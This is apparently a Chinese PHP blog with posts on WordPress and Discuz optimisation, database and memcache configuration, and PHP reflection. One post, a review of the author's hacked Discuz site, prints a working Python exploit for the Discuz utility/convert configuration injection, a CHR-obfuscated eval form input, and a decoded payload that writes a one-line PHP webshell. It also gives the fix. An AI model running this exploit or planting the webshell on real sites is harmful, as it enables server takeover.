安静
PHP技术博客

140127 wordpress可视化优化

张 清月阅读(604)

优化是基于lnmp架构的系统,用户访问前端访问加速的优化。并不适合所有用户。

wordpress主题优化

取消头部内容加载
//头部取消wordpress自带jquery加载
//修改当前模板 header.php 在 wp_head();增加
wp_deregister_script("jquery");

//主题function.php里增加下方代码,去掉一些没有必要的内容加载
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');
remove_action('wp_head', 'wp_generator');


wordpress图片优化

LNMP开启对于图片的gzip压缩支持
修改文件 /usr/nginx/conf/nginx.conf增加红色部分
gzip_types text/plain application/x-javascript text/css application/xml image/jpeg image/gif image/png;

资源图片优化
http://zhanzhang.baidu.com/optimization/index?site=http://www.m2277.com/

wordpress样式优化

利用PHP – Minify优化css,js进行请求压缩。
下载minify包 http://pan.baidu.com/s/1bn6BLIf

//将解压缩后的包min放入主题目录下,注意:当前wordpress需要开启urlwrite
//具体引用CSS放头部 header.php
<link rel="stylesheet" href="<?php bloginfo('template_url');?>/min/?b=<?php echo str_replace(get_bloginfo('home') . '/', '', get_bloginfo('template_directory')); ?>/assets&f=reset.css,mangguo.css">


//具体引用JS放底部 footer.php
<script charset="utf-8" src="<?php bloginfo('template_url');?>/min/?b=<?php echo str_replace(get_bloginfo('home') . '/', '', get_bloginfo('template_directory')); ?>/assets&f=jquery.min.js,jquery.cookie.js,mangguo.js"></script>

wordpress插件缓存优化

后台安装 wp-super-cache,开启预加载。会有点击数不增加BUG,不过这个不是很关注。我们都会用百度,cnnz之类的统计代码。
关于: memcached,redis,Varnish等等是能给wordpress减少大量的db请求,但本质上没有解决用户秒开的问题,所以我没有使用。

非本主题相关

//修改wp-config.php,取消后台编辑文章的修订功能
define('WP_POST_REVISIONS', false);

140126 discuz站点被黑,复盘

张 清月阅读(568)

手里一个站点被黑了 也就是大概2013-12-20号左右,乌云爆了一个关于discuz安装包中自带升级转化工具配置未过滤得漏洞,当时没有注意,并不认为自己会犯这样的错。 事实狠狠的给了我一个巴掌。在这里我不得不说discuz,360safe,anquan这类的网站实时性很差。

discuz utility 漏洞修复

删除 utility目录即可。

具体漏洞演示:

访问:www.80aj.com/utility/convert/index.php

ld
修改表单 新增输入项


<input type="text" name="newconfig[aaa eval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).
CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]" size="40" value="localhost" />

discuz漏洞 直接黑客利用Python代码:

#coding=utf-8
#Nx4dm1n 2013-12
import httplib, urllib
def dzconvertexp(url,vulfile):
    allvulfile=vulfile+'convert/index.php'
    target='http://'+url+vulfile
    page=urllib.urlopen(target)
    html=page.read()
    httpresponse=page.getcode()
    if httpresponse==200:
        httpClient = None
        try:
            params ='a=config&source=d7.2_x2.0&submit=yes&newconfig%5Bsource%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost'
            print params
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html"}
 
            httpClient = httplib.HTTPConnection(url, 80, timeout=10)
            httpClient.request("POST",allvulfile, params, headers)
            response = httpClient.getresponse()
            print response.getheaders()
        except Exception, e:
            print e
        finally:
            if httpClient:
                httpClient.close()
    else:
        print 'no'
 
#输入目标url和convert的目录,常见的是/utility/目录,或者就直接是在根目录下
url=raw_input('Input url(No http):')
dirm=raw_input('Input the convert directory(ex:/utility/):')
dzconvertexp(url,dirm);
//黑客代码 
chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59);

//转换后的值
fputs(fopen('data/a.php','w'),'<?php eval($_POST[cmd])?>');


//其中几个数值是一句话木马必备的  查杀的时候需要分开

chr(101);
chr(118);
chr(97);
chr(108);
chr(69);
chr(86);
chr(65);
chr(76);

资料参考:

http://www.myhack58.com/Article/html/3/62/2013/41505.htm
http://www.wooyun.org/bugs/wooyun-2010-014681
http://www.nxadmin.com/penetration/1224.html

140121 AJ_Book wordpress 单本小说主题

张 清月阅读(2516)

单本小说站,利于seo,文章关键字权重叠加,长尾词与内容相关度高,无弹窗,单域名补权重,日指数好的小说有几十万,新手seo来说,单本小说站是个不错的练手内容。

一直有想做单站小说的想法,可想法不仅仅于此,多客户端,更新推送,手机直接缓存整本小说,在无网络的情况下也可以阅读,因为没有办法全部都做掉,所以小说站一直未成型。

前段时间群里发了个单站小说,域名就不说了,单域名日IP预估在20万左右。哼哼!竟然比某些公司运营的项目还犀利。好吧,吃点螃蟹渣,看看有莫有味道。

模板UI部分并非原创,是扒皮的,程序员大部分都没有美学细胞。原作者的版本是售卖的,本主题为共享内容,并非盗版,如果你支持正版,可以在文章底部访问购买。

主题名称:AJ_Book
主题类型:单本小说
原版UI:Eventure
作者: 80aj
演示地址:绝世唐门全本

截图:

ys1

ys2

后台使用:

ht1

ht2

下载地址:

链接: http://pan.baidu.com/s/1i3DQZgp 密码: pfn7

原主题相关信息:

Evbook

140116 discuz jiathis分享图片为用户头解决方法

张 清月阅读(829)

jiathis的图片分享的时候,并没有主动设置需要分享的图片这里给个简单的discuz代码解决分享图片问题。

修改模板文件:

template/default/forum/viewthread_node.htm
<!--{if !IS_ROBOT}-->
<!--{if !$postcount && !$_G['forum_thread']['archiveid'] && $post['first'] }-->
//新增开始
<!--{if !$postcount && !$_G['forum_thread']['archiveid'] && $post['first'] }-->
<!--{eval $i =0}-->
       <!--{loop $post[attachments] $att}-->
<!--{if $i < 5}-->
<!--{if $att['isimage']==1}-->
<!--{eval 
$threadattachmenturl[] = $att['url'].$att['attachment'];
}-->
<!--{/if}-->
<!--{/if}-->
<!--{eval $i++}-->
<!--{/loop}-->	
//新增结束
jiathis代码下方增加:

 <script type="text/javascript" >
<!--{if $threadattachmenturl != null}-->
var jiathis_config = {	
                  'pic':'{echo implode('||',$threadattachmenturl)}'	
			          };	
          <!--{/if}-->	
</script>

140115 wordpress 源生代码直接修改文章分类

张 清月阅读(541)

昨天论坛干货看了个关于单本小说论坛的事,本来这事知道很早,也能很好的Seo,做起来也很简单,没想到权重可以这么高,反正不废什么事,于是自己做了个,过程中遇到了 分类转换的问题,当然这里已经解决了,共享下:

<?php
// wordpress 目录新建个 reset_cat.php 复制代码 稍作修改即可
// wordpress 源生代码解决批量分类转换 目前用于 小说站的分类解决
// 有问题请联系 cfrs2005(Hostloc@cfrs2005)
// 博客:80aj.com
// 2014/01/15

include "wp-config.php";
error_reporting ( E_ALL );
global $wpdb;
//文章序列号 开始到结束 可自行修改代码
$begin_end_arr = array (
		'6' => array (
				1048,
				1400 
		) 
);
foreach ( $begin_end_arr as $key => $single_arr ) {
	$posts = $wpdb->get_results ( "SELECT id FROM $wpdb->posts where id >={$single_arr[0]} and id<={$single_arr[1]}" );
	foreach ( $posts as $post ) {
		wp_set_post_categories ( $post->id, array (
				$key 
		) );
	}
}


单站小说:

http://www.jueshitangmenquanben.com 绝世唐门全本 By the way: 出售小说站源码采集+自动更新 only for liunx demo: 采集开始 开始处理 总数据 7 条 http://www.xxxx.com/xxx113773.html 当前文章 第三佰四一章 龙皇、饕餮、本体(上) 已经插入过 标题无变更 http://www.xxx.com/xx115793.html 当前文章 第三百四拾一章 龙皇、饕餮、本体(中)下)14第三 已经插入过 标题无变更 http://www.xxx.com/xx119686.html 当前文章 第三百四一章节 龙皇、饕餮、本体(下)第三04 已经插入过 标题无变更 http://www.xxx.com/xx2164.html 当前文章 第三百四二章节 黄金蝶龙变(上)第三04中) 已经插入过 标题无变更 http://www.xxx.com/xx22169.html 当前文章 第三佰四二章 黄金蝶龙变(中) 已经插入过 标题无变更 http://www.xxx.com/xx28248.html 当前文章 第三百四拾二章 黄金蝶龙变(下)中)14第三 已经插入过 标题无变更 http://www.xxx.com/xx1309.html 当前文章 第三百四三章节 好多、好多啊!第三04 已经插入过 标题无变更 执行结束

140114 wordpress源生代码实现SEO

张 清月阅读(497)

很早之前看到macdang.com的时候,觉得这套模板很清新,比较适合coder做自己的技术博客,想把自己的博客模板也换成这个。可惜查看相关代码没有找到模板作者。昨天查看wopus的时候看到了这套模板: 原名为M2模板。作者通过最wordpress源生php代码实现了翻页,阅读计数等常见插件的功能,不过对于seo这一块并没有做,这里补充下实现wordpress 源生代码实现Seo .

以下代码替换模板代码 header.php中 ***部分:


<?php
if (is_home ()) {
	$keywords = "相关关键字描述";
	$description = "相关desc描述";
} elseif (is_single ()) {
	if ($post->post_excerpt) {
		$description = $post->post_excerpt;
	} else {
		$str = csubstr ( strip_tags ( $post->post_content ), 0, 220 );
		$str = trim ( $str );
		$str = strip_tags ( $str, "" );
		$str = ereg_replace ( "\t", "", $str );
		$str = ereg_replace ( "\r\n", "", $str );
		$str = ereg_replace ( "\r", "", $str );
		$str = ereg_replace ( "\n", "", $str );
		$str = ereg_replace ( " ", " ", $str );
		$description = trim ( $str );
	}
	$keywords = "";
	$tags = wp_get_post_tags ( $post->ID );
	foreach ( $tags as $tag ) {
		$keywords = $keywords . $tag->name . ", ";
	}
}
?>
<title><?php
global $page, $paged;
wp_title ( '|', true, 'right' );
bloginfo ( 'name' );
$site_description = get_bloginfo ( 'description', 'display' );
if ($site_description && (is_home () || is_front_page ()))
	echo " | $site_description";
if ($paged >= 2 || $page >= 2)
	echo ' | ' . sprintf ( __ ( 'Page %s' ), max ( $paged, $page ) );
?></title>
<meta name="keywords" content="<?=$keywords?>" />
<meta name="description" content="<?=$description?>" />


function csubstr($str, $start=0, $length, $charset="utf-8", $suffix=true){
        if(function_exists("mb_substr"))
                return mb_substr($str, $start, $length, $charset);
        $re['utf-8'] = "/[\x01-\x7f]|[\xc2-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xff][\x80-\xbf]{3}/";
        $re['gb2312'] = "/[\x01-\x7f]|[\xb0-\xf7][\xa0-\xfe]/";
        $re['gbk'] = "/[\x01-\x7f]|[\x81-\xfe][\x40-\xfe]/";
        $re['big5'] = "/[\x01-\x7f]|[\x81-\xfe]([\x40-\x7e]|\xa1-\xfe])/";
        preg_match_all($re[$charset], $str, $match);
        $slice = join("",array_slice($match[0], $start, $length));
        if($suffix) return $slice."¡­";
}

本文资料:

www.macdang.com mac党 主要是下载破解mac软件的,目前已经不怎么更新 www.mangguo.org m2 主题作者

131108 Discuz 主从配置原理

张 清月阅读(767)

之前有提到 discuz x3 开启 db主从后 报bug导致无法 正常使用 后来通过修改

// source/class/db/db_driver_mysql_slave.php 参数设置为1

解决 。

原帖:131101 discuz x3 主从数据库配置

本周深入了解了下 原来是因为 二次开发的时候 某些不是很规范的写法引起的:

db查询的时候没有使用 discuz 提供的 DB::table 导致。

修正完毕后 就可以正常使用了。
在这里转一篇关于 discuz 主从原理的文章

/source/class/class_core.php
当配置了从库信息时,直接连接从库
discuz_core::_init_db()

function _init_db() {
                $class = 'db_mysql';
                if(count(getglobal('config/db/slave'))) {
                        require_once libfile('class/mysql_slave');
                        $class = 'db_mysql_slave';
                }
                $this->db = & DB::object($class);
                $this->db->set_config($this->config['db']);
                $this->db->connect();
        }

db_mysql::table_name
table_name方法,每次将数据库连接curlink重置了主库连接。
其中$this->map为对数据库分库的配置,哪些表适用哪一个数据库,然后建立连接。

function table_name($tablename) {
                if(!empty($this->map) && !empty($this->map[$tablename])) {
                        $id = $this->map[$tablename];
                        if(!$this->link[$id]) {
                                $this->connect($id);
                        }
                        $this->curlink = $this->link[$id];
                } else {
                        $this->curlink = $this->link[1];
                }
                return $this->tablepre.$tablename;
        }

DB::table
此方法调用db_mysql::table_name方法

function table($table) {
                return DB::_execute('table_name', $table);
        }

/source/class/class_mysql_slave.php
db_mysql_slave::table_name
slave的table方法,判断表是否在“slave_except_table”中,slave_except_table为配置的不使用从库连接的数据表

function table_name($tablename) {
                if($this->slaveid && !$this->slaveexcept && $this->excepttables) {
                        if(in_array($tablename, $this->excepttables)) {
                                $this->slaveexcept = true;
                        }
                }

db_mysql_slave::query
slave的query方法,判段没有配置不使用从库的表,且sql语句为select时,才将curlink指向从库,否则curlink仍执行主库。

function query($sql, $type = '') {
                if($this->slaveid && !$this->slaveexcept && strtoupper(substr($sql, 0 , 6)) == 'SELECT') {
                        $this->slave_connect();
                }
                $this->slaveexcept = false;
                return parent::query($sql, $type);
        }

总结:

1. 在扩展或做插件,使用数据库操作时,使用“DB::table($tablename)”来获取表名拼接sql就能兼容Discuz!X的主从库配置
2. 若仅使用主库连接,系统不会使用到db_mysql_save的类
3. 每次页面请求,只有一个db对象。 使用connect和设置curlink来实现主从连接

转载自:
http://discuzx.sinaapp.com/thread-12-1-1.html

131104 discuz 会员头像展示 – jquery 代码

张 清月阅读(1039)

jquery的使用级别 我一直停留在简单应用,是非常大的弱项,很可悲。
特别是 div 层的图片滚动的计算 。 写这个只是为了赞美 某强大 的JS工程师 桃子 .

discuz会员头像展示主要功能:
将一组A标签 以6个为单位分割 并且组建新的div 进行互换展示 支持鼠标的停留

discuz会员头像展示效果图片:

jsxiaoguo

discuz会员头像展示代码:

lewaStar=function(){
		var targetArea=$("#fly_stars");
		alert(targetArea);
		var elems = $('.lewabbs-star'), parts = [],i=0;
		do{
			parts[i] = elems.splice(0,6);
			$('<div class="star-block"></div>').append(parts[i]).appendTo(targetArea);
			i++;
		}while(elems.length>0);
		var objs = $('.star-block');
		var t,	 time = 200, delay = 4000, curr = 0,call_x = function(){
			$(objs[curr]).fadeOut(time, call_y);
		}, call_y = function(){
			curr ++;
			if(curr >= objs.length) curr=0;
			$(objs[curr]).fadeIn();
			t = setTimeout(call_x, delay);
		};
		objs.mouseover(function(){
			if(t) clearTimeout(t);
		});
		objs.mouseout(function(){
			t = setTimeout(call_x, delay);
		});
		call_x();
	}

discuz会员头像展示主要过程:

1:timer 定时器的 触发轮换
2:鼠标的 onmouse 和mouseout 处理
3:jquery [object Object] 和 jquery [object HTMLDivElement] 的处理

附加一篇关于 jquery [object Object] 和 jquery [object HTMLDivElement] 的处理 的文章 :

来源:
http://www.cnblogs.com/daisuki/archive/2013/04/04/2999745.html

在使用jQuery时,发现有两种对象,一个是[object Object],另一个是就像[object HTMLDivElement]

前者是jQuery对象,通过jQuery的选择器$(‘selector’)获得;
后者是DOM元素,为 javascript中的getElementById, getElementsByTagName等方法的返回类型。

只有jQuery对象才能使用jQuery的一系列方法,DOM元素是不能用的。 其实,jQuery对象就类似一个数组,它包含了一个或多个与jQuery选择器匹配的DOM元素。

//一个js获取的标签为li的元素数组
var normalArray = document.getElementsByTagName('li');  

//相当于上面的,但是是一个jQuery对象
var jQueryArray = $('li');

//如果是由元素Id获得DOM元素的话,则jQuery对象就像一个长度为1的数组。
//比如,以下三个alert的结果是相同的
alert(document.getElementById('myID'));
alert($('#myID')[0]);
alert($('#myID').get(0));

//*** jQuery对象与DOM元素之间的转换 ***

//返回与 jQuery 选择器匹配的DOM元素的数量
jQueryArray.length;
jQueryArray.size();

//从jQuery对象获得普通的DOM集合,[<li id="foo">, <li id="bar">]
jQueryArray.get();
jQueryArray.toArray();

//根据index获取数组中的某个元素
jQueryArray.get(index);
jQueryArray[index];

//当index是-1时,由于负数index是从数组最后开始算,所以返回数组的最后一个元素
jQueryArray.get(-1);

//当从一个jQuery对象获得一个DOM元素后,把该元素再转变成一个jQuery对象,以便调用jQuery的方法
$(jQueryArray[0]);

131101 discuz x3 主从数据库配置

张 清月阅读(1356)

discuz x3 配置安装文件 官方描述因为是藏在安装包里的 并没有对外公布:

// ----------------------------  CONFIG DB  ----------------------------- //
// ----------------------------  数据库相关设置---------------------------- //
/**
* 数据库主服务器设置, 支持多组服务器设置, 当设置多组服务器时, 则会根据分布式策略使用某个服务器
* @example
* $_config['db']['1']['dbhost'] = 'localhost'; // 服务器地址
* $_config['db']['1']['dbuser'] = 'root'; // 用户
* $_config['db']['1']['dbpw'] = 'root';// 密码
* $_config['db']['1']['dbcharset'] = 'gbk';// 字符集
* $_config['db']['1']['pconnect'] = '0';// 是否持续连接
* $_config['db']['1']['dbname'] = 'x1';// 数据库
* $_config['db']['1']['tablepre'] = 'pre_';// 表名前缀
*
* $_config['db']['2']['dbhost'] = 'localhost';
* ...
*
*/
$_config['db'][1]['dbhost']             = 'localhost';
$_config['db'][1]['dbuser']             = 'root';
$_config['db'][1]['dbpw']               = 'root';
$_config['db'][1]['dbcharset']          = 'utf8';
$_config['db'][1]['pconnect']           = 0;
$_config['db'][1]['dbname']             = 'ultrax';
$_config['db'][1]['tablepre']           = 'pre_';
/**
* 数据库从服务器设置( slave, 只读 ), 支持多组服务器设置, 当设置多组服务器时, 系统根据每次随机使用
* @example
* $_config['db']['1']['slave']['1']['dbhost'] = 'localhost';
* $_config['db']['1']['slave']['1']['dbuser'] = 'root';
* $_config['db']['1']['slave']['1']['dbpw'] = 'root';
* $_config['db']['1']['slave']['1']['dbcharset'] = 'gbk';
* $_config['db']['1']['slave']['1']['pconnect'] = '0';
* $_config['db']['1']['slave']['1']['dbname'] = 'x1';
* $_config['db']['1']['slave']['1']['tablepre'] = 'pre_';
* $_config['db']['1']['slave']['1']['weight'] = '0'; //权重:数据越大权重越高
*
* $_config['db']['1']['slave']['2']['dbhost'] = 'localhost';
* ...
*
*/
$_config['db']['1']['slave'] = array();
//启用从服务器的开关
$_config['db']['slave'] = false;
/**
* 数据库 分布部署策略设置
*
* @example 将 common_member 部署到第二服务器, common_session 部署在第三服务器, 则设置为
* $_config['db']['map']['common_member'] = 2;
* $_config['db']['map']['common_session'] = 3;
*
* 对于没有明确声明服务器的表, 则一律默认部署在第一服务器上
*
*/
$_config['db']['map'] = array();
/**
* 数据库 公共设置, 此类设置通常对针对每个部署的服务器
*/
$_config['db']['common'] = array();
/**
*  禁用从数据库的数据表, 表名字之间使用逗号分割
*
* @example common_session, common_member 这两个表仅从主服务器读写, 不使用从服务器
* $_config['db']['common']['slave_except_table'] = 'common_session, common_member';
*
*/
$_config['db']['common']['slave_except_table'] = '';

 

 

实际demo:

$_config['db']['slave'] = true;
$_config['db']['1']['slave'] = array();
$_config['db']['1']['slave']['1']['dbhost'] = 'localhost';
$_config['db']['1']['slave']['1']['dbuser'] = 'slave';
$_config['db']['1']['slave']['1']['dbpw'] = 'slave';
$_config['db']['1']['slave']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['slave']['1']['pconnect'] = '0';
$_config['db']['1']['slave']['1']['dbname'] = 'ultrax';
$_config['db']['1']['slave']['1']['tablepre'] = 'pre_';
$_config['db']['1']['slave']['1']['weight'] = '99';
//再使用过程中可能会有BUG 会在未来的时间里去更新 解决为什么会产生这个BUG 可能是不规范的 开发导致
//暂时性的BUG解决
// source/class/db/db_driver_mysql_slave.php 参数设置为1
public $serverid = 1;

130726 php 关于反射

张 清月阅读(20460)

自反馈 弱点 不知PHP 反射 应用,场景,随学习之。

1:关于学习后 对于 PHP 反射的理解:

PHP反射 即 根据反射函数 Reflection 可反馈 class ,function 的 情况 ,状态 ,属性,并且支持 实例化 并且调用 函数。

2:关于 学习过程代码:

Demo 1:

class ga{
public function gd(){
echo "en dashi nihao";
}
}
$class=new ReflectionClass('ga');    //建立 fuc这个类的反射类
echo $class; //输出这反射类!

Demo 2 :

//输出反射API的完整最新的导出结果
Reflection::export(new ReflectionExtension('reflection'));
//使用反射技术来创建所有内置类的导出结果
foreach(get_declared_classes() as $class)
{
Reflection::export(new ReflectionClass($class));
}
//获取用户声明类的导出结果
class userClass
{
public function userMethod($userPatameter = 'default')
{
}
}
foreach(get_declared_classes() as $class)
{
$reflectionClass = new ReflectionClass($class);
if($reflectionClass->isUserDefined())
{
Reflection::export($reflectionClass);
}
}

Demo 3 : PHP 反射 应用场景 插件实现

<?php
//定义插件的接口规则
interface IPlugin
{
public static function getName();
}
//使用反射查找所有的插件
function findPlugins()
{
$plugins = array();
// 获取所有当前 已经加载的class 
foreach(get_declared_classes() as $class)
{
// 实例化一个反射 class的对象
$reflectionClass = new ReflectionClass($class);
//检查是否继承 IPlugin 接口
if($reflectionClass->implementsInterface('Iplugin'))
{
$plugins[] = $reflectionClass;
}
}
return $plugins;
}
//确定用于菜单的类成员
function computeMenus()
{
$menu = array();
if($plugins = findPlugins())
{
//遍历 所有 实现  IPlugin 插件的 Class
foreach($plugins as $plugin)
{
//检查是否存在函数  getMenuItems
if($plugin->hasMethod('getMenuItems'))
{
//获取  getMenuItems 函数属性
$reflectionMethod = $plugin->getMethod('getMenuItems');
//如果该函数 的 标注为  static   则继续
if($reflectionMethod->isStatic())
{
//执行 Method
$item = $reflectionMethod->invoke(null);
}
else
{
//执行method    不过我这里没懂  为什么  $plugins 和 $plugin 都可以
$pluginInstance = $plugins->newInstance();
//调用 很 反射啊  
$item = $reflectionMethod->invoke($pluginInstance);
}
}
//Item必须返回的是数组
$menu = array_merge($menu, $item);
}
}
return $menu;
}
//确定用于侧边类和文章类的成员
function computeArticles()
{
$articles = array();
if($plugins = findPlugins())
{
foreach($plugins as $plugin)
{
if($plugin->hasMethod('getArticles'))
{
$reflectionMethod = $plugin->getMethod('getArticles');
if($reflectionMethod->isStatic())
{
$item = $reflectionMethod->invoke(null);
}
else
{
$pluginInstance = $plugins->newInstance();
$item = $reflectionMethod->invoke($pluginInstance);
}
}
//Item必须返回的是数组
$articles = array_merge($articles, $item);
}
}
return $articles;
}
function computeSideBars()
{
$sidebars = array();
if(!($plugins = findPlugins()))
{
foreach($plugins as $plugin)
{
if($plugin->hasMethod('getsidebars'))
{
$reflectionMethod = $plugin->getMethod('getsidebars');
if($reflectionMethod->isStatic())
{
$item = $reflectionMethod->invoke(null);
}
else
{
$pluginInstance = $plugins->newInstance();
$item = $reflectionMethod->invoke($pluginInstance);
}
}
//Item必须返回的是数组
$sidebars = array_merge($sidebars, $item);
}
}
return $sidebars;
}
//创建一个用于测试的插件
class MyBlogPlugin implements Iplugin
{
public static function getName()
{
return 'BlogName For Iphper';
}
public static function getMenuItems()
{
return array(array(
'brief'=>'My Iphper Blog',
'link'=>'http://www.iphper.com',
));
}
public static function getArticles()
{
return array(array(
'path'=>'http://www.iphper.com/archives/202.html',
'title'=>'This a Iphper Blog title',
'text'=>'This is a good Blog For studying PHP',
));
}
}
//以下的代码可以使更加复杂的代码
$menu = computeMenus();
print_r($menu);
$articles = computeArticles();
print_r($articles);
$sidebars = computeSideBars();
print_r($sidebars);

参考:
1:http://php.net/manual/zh/book.reflection.php PHP反射 手册
2:http://www.douban.com/note/217633029/ PHP反射初步学习
3: http://www.iphper.com/?p=202 php 反射进阶

130723 关于一些电影资源站的 采集 PHP代码

张 清月阅读(1387)

OSChina是个不错的社区,在这里你可以学习到很多东西,如果你想在进阶 或许这里是个不错的地方【初-》中】

看到一个关于正则的 问题 实际上就是想采集 这些资源的电影,页面上已经很明确的通过 html注释 来区分内容 ,但看着下面的回答 好像没有人清楚 好吧 简单写了个 因为 之前从没有注册过帐号 代码 不能贴上去 所以 贴这里了

具体问题帖:

http://www.oschina.net/question/614279_119348

<?php 
$data = file_get_contents('http://www.fensizy.com/details_zy.asp?name_id=15012');
$data = mb_convert_encoding($data, 'utf-8', 'gbk');
preg_match("/<!--播放列表开始代码-->(.*?)<!--播放列表结束代码-->/ms",$data,$arr);
preg_match_all("/<ul>(.*?)<\/ul>/ms",$arr[1],$list_arr);
$movie_list=array();
if(is_array($list_arr[1])){
foreach($list_arr[1] as $item){
preg_match_all("/<li><a.*?>(.*?)<\/a><\/li>/ms",$item,$list);
if(is_array($list[1])){
foreach($list[1] as $movie){
$str_pos=stripos($movie, "qvod");
if($str_pos>-1){
$movie_list['qvod'][]=$movie;
}else{
$movie_list['bdhd'][]=$movie;
}
}
}
}
}
var_dump($movie_list);
exit();

其实 我的 正则也好菜的 不知道什么时候才能进阶

130717 wordpress 主题恶意代码 __popular_posts 的清除

张 清月阅读(1353)

安装完主题以后 出现了 500错误,而又无从下手 或许本文可以帮助到你

主题使用久了 总没新鲜感,随上了点社区论坛之类的,找了几个主题下载。装了上去,之前也没什么反映,突然一下子就出现了500错误。

悲催的 nginx -error-log 和 apache-error-log 毫无反映。

尝试调整代码 error_reporting() 解决 发现也有太多 地方直接强制把注释改为了 0 伤感。

清理思路:

1:查看 当前使用的主题 路径
登陆mysql 查看 options 表中 的 template ,因为我一直也没有太关注 关于主题字段的名字,随便猜测了下 结果中了

SELECT * 
FROM wp_options
WHERE  `option_name` LIKE  '%temp%'
LIMIT 0 , 30

wordpress 中使用 wp-options 中 使用 字段名 为 template 的 来存储当前博客使用的 主题路径。

2: 将错误主题 替换为 之前试用过的 或者是正常的主题。
简单的mv mv 依然还是错误。。

3:无解的时候 看了下 为什么 各种日志为什么不打印 php错误日志。
php.ini 中

display_errors = off

被设置关闭了

4: 直接在 wordpress 的index.php中强制开启 disaply_errors

ini_set('display_errors', 'on');

5:看到了 万年前邪恶错误代码

Fatal error: Cannot redeclare __popular_posts() (3 posts)

这个自我复制 修改 themes 目录下所有 functions.php 代码 实在是太恶心了

6:确认目录下所有 主题都已经被感染,瞬间有种蛋疼到家的感觉
将所有 主题 移除。
留一份 当前使用的 清理掉 functions.php 中 对应的 自我复制代码。
到此结束,最后找了篇 关于 代码解释的 希望你喜欢。

呃 其实也没什么,只是感觉很悲催的样子,前段时间 还在某群里 咆哮 君,作为一个技术人员你都能QQ中毒不耻辱么 哎。

恶意病毒代码解读:
http://www.chukuangren.com/wordpress-zhongdu.html

恶意病毒代码完整版:
http://wpcme.com/pics/01204/wordpress-malicious-code.html

130607 discuz X2 过滤UBB,discuz自带幻灯片引用

张 清月阅读(1155)

ubb代码有的时候 dz 数据库直接存了 导致调用的时候看着挺恶心的 这里给个 过滤的 其实是discuz自带的不过被我稍微删了点东西。

discuzUbb代码过滤

function _ubb_fillter($string){
$string = preg_replace(
array('/&amp;(#\d{3,5};)/', "/\[hide=?\d*\](.*?)\[\/hide\]/is", "/\[\/?\w+=?.*?\]/"),
array('&\\1','<b>**** Hidden Message *****</b>',''),
$string);
return $string;
}

论坛改版 需要自己弄个 图片滚动 。jqeury 插件得不兼容一直都认为是 $的问题 这次又遇到了更诡异的事 好吧可能有冲突。
不管怎么样 discuz 自带的还是很简单的

discuz自带幻灯片代码:

<div class="slidebox">
<ul class="slideshow">
<!--{loop $bigpic $key $val}-->
<li style="width: 345px; height: 293px;">
<a href="{$val[weburl]}" target="_blank">
<img src="{$val['attachment']}" width="345px;" height="293px;" />
</a>
<span class="title">{$val[title]}</span>
</li>
<!--{/loop}-->
</ul>
</div>
<script lang="javascript">
runslideshow();
</script>

130524 discuz x2.0 关于 memcache得应用

张 清月阅读(1200)

让discuz支持多组memcache

discuz 是不支持多组memcache 共同使用 所以我们需要修改代码:

//修改公共配置文件  bbs/config/config_global.php
$_config['memory']['memcache']['server'] = 'true';
$_config['memory']['memcache']['host'][]='192.168.1.1';
$_config['memory']['memcache']['host'][]='192.168.1.2';
//$_config['memory']['memcache']['server'] = 'localhost';
//$_config['memory']['memcache']['port'] = 11211;
$_config['memory']['memcache']['pconnect'] = 1;
$_config['memory']['memcache']['timeout'] = 1;
//修改 discuz memcache class类  bbs/source/class/class_memcache.php 
function init($config) {
if (! empty ( $config ['server'] )) {
$this->obj = new Memcache ();
if ($config ['pconnect']) {
$i = 1;
foreach ( $config ['host'] as $one_host ) {
if ($i == 1) {
$connect = @$this->obj->pconnect ( $one_host, 11211 );
} else {
$connect = @$this->obj->addServer ( $one_host, 11211 );
}
$i ++;
}
// $connect = @$this->obj->pconnect($config['server'], $config['port']);
//因为使用长连接 短连接就不改了
} else {
$connect = @$this->obj->connect ( $config ['server'], $config ['port'] );
}
$this->enable = $connect ? true : false;
}
}

discuz memcache 使用

require_once libfile('class/memcache');
@include DISCUZ_ROOT.'./config/config_global.php';
//获取
$m = new discuz_memcache();
$m->init($_config['memory']['memcache']);
$mail="5991168@qc.com";
$userinfo=$m->get(md5($email));
//写入 
$md5_name=md5($email);
$m->set($md5_name,$userinfo,MEMCACHE_COMPRESSED,time()+43200);

discuz 存储session by memcache


//修改配置文件 php.ini
php_value[session.save_handler] = memcached
php_value[session.save_path] = 192.168.1.1:11211